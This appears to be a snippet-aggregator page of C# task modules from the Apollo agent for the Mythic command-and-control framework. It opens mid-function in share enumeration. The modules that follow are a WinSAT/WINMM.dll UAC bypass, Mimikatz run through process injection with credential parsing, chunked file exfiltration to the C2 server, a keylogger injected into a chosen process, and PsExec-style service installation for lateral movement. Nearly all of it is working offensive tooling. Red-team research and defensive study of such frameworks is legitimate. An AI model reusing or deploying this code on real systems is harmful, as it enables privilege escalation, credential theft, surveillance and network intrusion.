                            pathDir = new DirectoryInfo($"\\\\{share.ComputerName}\\{share.ShareName}");
                        } catch (Exception ex)
                        {
                            continue;
                        }

                        FileBrowserResponse resp;
                        if (share.Readable)
                        {
                            resp = new FileBrowserResponse()
                            {
                                host        = share.ComputerName,
                                is_file     = false,
                                permissions = GetPermissions(pathDir),
                                name        = pathDir.Name,
                                parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "",
                                success     = true,
                                access_time = pathDir.LastAccessTimeUtc.ToString(),
                                modify_time = pathDir.LastWriteTimeUtc.ToString(),
                                size        = 0,
                                files       = new FileInformation[0]
                            };
                        }
                        else
                        {
                            resp = new FileBrowserResponse()
                            {
                                host        = share.ComputerName,
                                is_file     = false,
                                permissions = GetPermissions(pathDir),
                                name        = pathDir.Name,
                                parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "",
                                success     = true,
                                access_time = "",
                                modify_time = "",
                                size        = 0,
                                files       = new FileInformation[0]
                            };
                        }
                        job.AddOutput(resp);
                    }
                }
                job.SetComplete(results);
            } catch (Exception ex)
            {
                job.SetError($"Failed to list shares. Reason: {ex.Message}");
            }
        }
示例#10
0
        public static void Execute(Job job, Agent agent)
        {
            Task   task = job.Task;
            string path = task.parameters;

            BypassUacParams args = JsonConvert.DeserializeObject <BypassUacParams>(task.parameters);

            var payloadBytes      = agent.Profile.GetFile(task.id, args.Payload, agent.Profile.ChunkSize);
            var bypassUacDllBytes = agent.Profile.GetFile(task.id, args.BypassDll, agent.Profile.ChunkSize);

            if (payloadBytes == null || payloadBytes.Length == 0)
            {
                job.SetError($"Could not retrieve payload bytes: null or length is 0.");
                return;
            }

            if (bypassUacDllBytes == null || bypassUacDllBytes.Length == 0)
            {
                job.AddOutput($"Could not retrieve bypass DLL bytes: null or length is 0.");
                return;
            }



            //Disable filesystem redirection
            IntPtr wow64Value = IntPtr.Zero;

            Wow64DisableWow64FsRedirection(ref wow64Value);

            if (!File.Exists(@"C:\Windows\system32\WinSAT.exe"))
            {
                job.SetError($"WinSAT.exe not found in the System32 folder. Bypassing not possible.");
                Wow64RevertWow64FsRedirection(wow64Value);
                return;
            }


            try
            {
                File.WriteAllBytes(Environment.ExpandEnvironmentVariables(args.TargetPath), payloadBytes);
            }
            catch (Exception e)
            {
                job.SetError($"Failed to write file to {args.TargetPath}. Reason: {e.Message}");
                Wow64RevertWow64FsRedirection(wow64Value);
                return;
            }

            var windir = @"C:\Windows ";

            try
            {
                CreateMockDirectory(windir, @"WinSAT.exe", @"WINMM.dll", bypassUacDllBytes);
                ShellExecute(windir + "\\System32\\WinSAT.exe", "mem -maxt 1");
                Thread.Sleep(2000);
            }
            catch (Exception e)
            {
                job.SetError($"Error executing bypass. Reason: {e.Message}");
                Wow64RevertWow64FsRedirection(wow64Value);
                return;
            }

            var cleanupFailed = new List <string>();

            if (!DeleteFileW(windir + @"\System32\winsat.exe"))
            {
                cleanupFailed.Add(windir + @"\System32\winsat.exe");
            }

            if (!DeleteFileW(windir + @"\System32\WINMM.dll"))
            {
                cleanupFailed.Add(windir + @"\System32\WINMM.dll");
            }

            if (!RemoveDirectory(@"\\?\" + windir + @"\System32\"))
            {
                cleanupFailed.Add(@"\\?\" + windir + @"\System32\");
            }

            if (!RemoveDirectory(@"\\?\" + windir + @"\"))
            {
                cleanupFailed.Add(@"\\?\" + windir + @"\");
            }

            Wow64RevertWow64FsRedirection(wow64Value);


            if (cleanupFailed.Any())
            {
                job.SetError("BypassUac executed successfully. Failed to cleanup the following files: " + String.Join(", ", cleanupFailed.ToArray()));
            }
            else
            {
                job.SetComplete("BypassUac executed successfully");
            }
        }
示例#11
0
        /// <summary>
        /// Execute an arbitrary C# assembly in a sacrificial process
        /// that respects the current caller's token.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. job.Task.parameters
        /// should contain a JSON structure with key "assembly" that
        /// has an associated Apfell file ID to pull from the server.
        /// This assembly is position-independent code generated from
        /// donut with arguments baked in.
        /// </param>
        /// <param name="agent">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task          task = job.Task;
            string        sacrificialApplication;
            string        commandLine = "";
            string        command     = "";
            string        loaderStubID;
            string        pipeName;
            JObject       json;
            List <string> output = new List <string>();

            /*
             * Response from the server should be of the form:
             * {
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "command": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            try
            {
                json = (JObject)JsonConvert.DeserializeObject(task.parameters);
            } catch (Exception ex)
            {
                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }

            command = json.Value <string>("command");
            if (string.IsNullOrEmpty(command))
            {
                job.SetError("Require one or more commands to give to Mimikatz.");
                return;
            }

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            } catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }

            if (implant.architecture == "x64")
            {
                sacrificialApplication = EvasionManager.SpawnTo64;
            }
            else
            {
                sacrificialApplication = EvasionManager.SpawnTo86;
            }

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;
                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                response = new ApolloTaskResponse(job.Task, output.ToArray());
                                var credResp = GetCredentialResponse(job.Task, command, output);
                                job.AddOutput(response);
                                if (credResp.credentials != null && credResp.credentials.Length > 0)
                                {
                                    job.AddOutput(credResp);
                                }
                                output.Clear();
                            }
                            job.SetComplete("");
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
示例#12
0
文件: Download.cs 项目: zhouzu/Apollo
        /// <summary>
        /// Download a file to the remote Apfell server.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task.
        /// File to download is in job.Task.parameters
        /// </param>
        /// <param name="implant">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task   task     = job.Task;
            string filepath = task.parameters.Trim();
            string strReply;
            bool   uploadResponse;

            if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"')
            {
                filepath = filepath.Substring(1, filepath.Length - 2);
            }
            else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'')
            {
                filepath = filepath.Substring(1, filepath.Length - 2);
            }
            try // Try block for file upload task
            {
                // Get file info to determine file size
                FileInfo fileInfo = new FileInfo(filepath);
                long     size     = fileInfo.Length;

                // Determine number of 512kb chunks to send
                long total_chunks = size / 512000;
                // HACK: Dumb workaround because longs don't have a ceiling operation
                if (total_chunks == 0)
                {
                    total_chunks = 1;
                }

                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = total_chunks,
                    full_path    = fileInfo.FullName
                };

                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);

                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
                    return;
                }

                // Send file in chunks
                for (int i = 0; i < total_chunks; i++)
                {
                    byte[] chunk = null;
                    long   pos   = i * 512000;

                    // We need to use a FileStream in case our file size in bytes is larger than an Int32
                    // With a filestream, we can specify a position as a long, and then use Read() normally
                    using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        fs.Position = pos;

                        // If this is the last chunk, size will be the remaining bytes
                        if (i == total_chunks - 1)
                        {
                            chunk = new byte[size - (i * 512000)];
                            int chunkSize = chunk.Length;
                            fs.Read(chunk, 0, chunkSize);
                        }
                        // Otherwise we'll read 512kb from the file
                        else
                        {
                            chunk = new byte[512000];
                            fs.Read(chunk, 0, 512000);
                        }
                    }

                    // Convert chunk to base64 blob and create our FileChunk
                    ApolloTaskResponse fc = new ApolloTaskResponse()
                    {
                        chunk_num    = i + 1,
                        file_id      = resp.file_id,
                        task_id      = job.Task.id,
                        chunk_data   = Convert.ToBase64String(chunk),
                        total_chunks = -1
                    };

                    job.AddOutput(fc);
                }
                job.SetComplete($"Finished downloading file {filepath}");
            }
            catch (Exception e) // Catch any exception from file upload
            {
                job.SetError($"Exception occurred while downloading file: {e.Message}");
            }
        }
示例#13
0
        public static void Execute(Job job, Agent implant)
        {
            Task task = job.Task;

            byte[]             loggerStub;
            ApolloTaskResponse progressResp;
            KeylogArguments    args = JsonConvert.DeserializeObject <KeylogArguments>(task.parameters);

            if (args.pid < 0)
            {
                job.SetError("PID must be non-negative.");
                return;
            }
            if (string.IsNullOrEmpty(args.pipe_name))
            {
                job.SetError("No pipe was given to connect to.");
                return;
            }
            if (string.IsNullOrEmpty(args.file_id))
            {
                job.SetError("No file ID was given to retrieve.");
                return;
            }
            try
            {
                System.Diagnostics.Process.GetProcessById(args.pid);
            } catch (Exception ex)
            {
                job.SetError($"Failed to find process with PID {args.pid}. Reason: {ex.Message}");
                return;
            }

            loggerStub = implant.Profile.GetFile(job.Task.id, args.file_id, implant.Profile.ChunkSize);
            if (loggerStub == null || loggerStub.Length == 0)
            {
                job.SetError("Failed to fetch keylogger stub from server.");
                return;
            }
            var injectionType    = Injection.InjectionTechnique.GetInjectionTechnique();
            var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loggerStub, (uint)args.pid });

            //Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid);


            if (injectionHandler.Inject())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Binder = new IPC.KeystrokeMessageBinder();
                NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", args.pipe_name, PipeDirection.InOut);
                try
                {
                    pipeClient.Connect(30000);
                    job.OnKill = delegate()
                    {
                        try
                        {
                            if (pipeClient.IsConnected)
                            {
                                bf.Serialize(pipeClient, new IPC.KillLoggerMessage());
                            }
                            job.SetComplete("Stopped keylogger.");
                        }
                        catch (Exception ex)
                        { }
                    };
                    job.AddOutput($"Connected to keylogger. Processing keystrokes.");
                    while (true)
                    {
                        KeystrokeMessage msg = new KeystrokeMessage();
                        try
                        {
                            msg = (IPC.KeystrokeMessage)bf.Deserialize(pipeClient);
                            ApolloTaskResponse resp = new ApolloTaskResponse()
                            {
                                task_id      = task.id,
                                user         = msg.User,
                                window_title = msg.WindowTitle,
                                keystrokes   = msg.Keystrokes
                            };
                            job.AddOutput(resp);
                        }
                        catch (Exception ex)
                        {
                        }
                    }
                } catch (Exception ex)
                {
                    job.SetError($"Something went wrong: {ex.Message}");
                }
            }
        }
示例#14
0
        public static void Execute(Job job, Agent agent)
        {
            byte[]             templateFile;
            PSExecParameters   args;
            ApolloTaskResponse resp;
            string             formattedRemotePath;
            string             remotePath;
            string             fileGuid        = Guid.NewGuid().ToString();
            bool bTemplateFileWritten          = false;
            ServiceController resultantService = null;

            args = JsonConvert.DeserializeObject <PSExecParameters>(job.Task.parameters);
            if (string.IsNullOrEmpty(args.computer))
            {
                job.SetError("Missing required parameter: computer");
                return;
            }
            if (string.IsNullOrEmpty(args.template))
            {
                job.SetError("Missing required parameter: template");
                return;
            }

            if (string.IsNullOrEmpty(args.remote_path))
            {
                formattedRemotePath = $"\\\\{args.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
                remotePath          = $"C:\\Users\\Public\\{fileGuid}.exe";
            }
            else
            {
                if (Directory.Exists(args.remote_path))
                {
                    args.remote_path = Path.Combine(args.remote_path, $"{fileGuid}.exe");
                }
                remotePath          = args.remote_path;
                formattedRemotePath = $"\\\\{args.computer}\\{args.remote_path.Replace(':', '$')}";
            }

            if (string.IsNullOrEmpty(args.service_name))
            {
                args.service_name = $"ApolloService-{fileGuid}";
            }
            if (string.IsNullOrEmpty(args.display_name))
            {
                args.display_name = $"Apollo Service: {fileGuid}";
            }

            templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize);
            if (templateFile.Length == null || templateFile.Length == 0)
            {
                job.SetError($"Unable to retrieve template ID: {args.template}");
                return;
            }

            try
            {
                File.WriteAllBytes(formattedRemotePath, templateFile);
                bTemplateFileWritten = true;
            }
            catch (Exception ex)
            {
                job.SetError($"Unable to write file to {formattedRemotePath}. Reason: {ex.Message}");
                return;
            }

            resp = new ApolloTaskResponse(job.Task, $"Copied payload to {formattedRemotePath}");
            job.AddOutput(resp);

            try
            {
                if (!Utils.ServiceUtils.InstallService(args.computer, args.service_name, args.display_name, remotePath))
                {
                    string errMsg = $"Error installing service \"{args.service_name}\" on {args.computer}. Last Win32 Error: {Marshal.GetLastWin32Error()}";
                    try
                    {
                        if (File.Exists(formattedRemotePath))
                        {
                            File.Delete(formattedRemotePath);
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }
                    job.SetError(errMsg);
                    return;
                }
            }
            catch (Exception ex)
            {
                string errMsg = $"Error installing service on \"{args.service_name}\" on {args.computer}. Reason: {ex.Message}";
                try
                {
                    if (File.Exists(formattedRemotePath))
                    {
                        File.Delete(formattedRemotePath);
                    }
                }
                catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
                job.SetError(errMsg);
                return;
            }

            resp = new ApolloTaskResponse(job.Task, $"Installed service \"{args.service_name}\" on {args.computer}");
            job.AddOutput(resp);

            try
            {
                if (!Utils.ServiceUtils.StartService(args.computer, args.service_name))
                {
                    string errMsg = $"Unable to start service \"{args.service_name}\" on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                    try
                    {
                        if (File.Exists(formattedRemotePath))
                        {
                            File.Delete(formattedRemotePath);
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }

                    try
                    {
                        if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                        {
                            errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex.Message}"; }
                    job.SetError(errMsg);
                    return;
                }
            }
            catch (Exception ex)
            {
                if (Utils.ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
                {
                    if (resultantService.Status == ServiceControllerStatus.Running || resultantService.Status == ServiceControllerStatus.StartPending)
                    {
                    }
                    else
                    {
                        string errMsg = "";
                        if (ex.GetType() == typeof(System.InvalidOperationException))
                        {
                            errMsg += $"Error starting service: {ex.Message}";
                        }
                        try
                        {
                            if (File.Exists(formattedRemotePath))
                            {
                                File.Delete(formattedRemotePath);
                            }
                        }
                        catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }

                        try
                        {
                            if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                            {
                                errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                            }
                        }
                        catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
                        job.SetError(errMsg);
                        return;
                    }
                }
            }

            try
            {
                if (resultantService == null)
                {
                    if (!ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
                    {
                        job.SetError($"Could not find service {args.service_name} on {args.computer}");
                        return; // probably need to delete remote file
                    }
                }
                job.SetComplete($@"
Service started on {args.computer}!
    
DisplayName : {resultantService.DisplayName}
ServiceName : {resultantService.ServiceName}
Status      : {resultantService.Status}
CanStop     : {resultantService.CanStop}");
            }
            catch (Exception ex)
            {
                string errMsg = "Could not find service on remote host.";
                try
                {
                    if (File.Exists(formattedRemotePath))
                    {
                        File.Delete(formattedRemotePath);
                    }
                }
                catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
                try
                {
                    if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                    {
                        errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                    }
                }
                catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
                job.SetError(errMsg);
                return;
            }
        }